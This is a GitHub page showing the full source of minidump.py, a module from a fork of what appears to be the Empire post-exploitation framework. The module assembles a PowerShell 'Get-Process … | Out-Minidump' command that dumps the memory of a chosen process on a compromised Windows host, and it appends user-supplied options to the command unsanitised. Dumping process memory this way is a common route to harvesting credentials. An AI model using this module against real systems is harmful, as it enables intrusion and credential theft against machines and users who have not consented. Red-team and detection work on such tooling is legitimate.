forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 586
/
minidump.py
38 lines (34 loc) · 1.23 KB
/
minidump.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.core.module_service import auto_finalize, auto_get_source
class Module:
@staticmethod
@auto_get_source
@auto_finalize
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
script: str = "",
):
script_end = ""
for option, values in params.items():
if option.lower() != "agent" and values and values != "":
if option == "ProcessName":
script_end = "Get-Process " + values + " | Out-Minidump"
elif option == "ProcessId":
script_end = "Get-Process -Id " + values + " | Out-Minidump"
for option, values in params.items():
if (
values
and values != ""
and (
option != "Agent"
and option != "ProcessName"
and option != "ProcessId"
)
):
script_end += " -" + str(option) + " " + str(values)
return script, script_end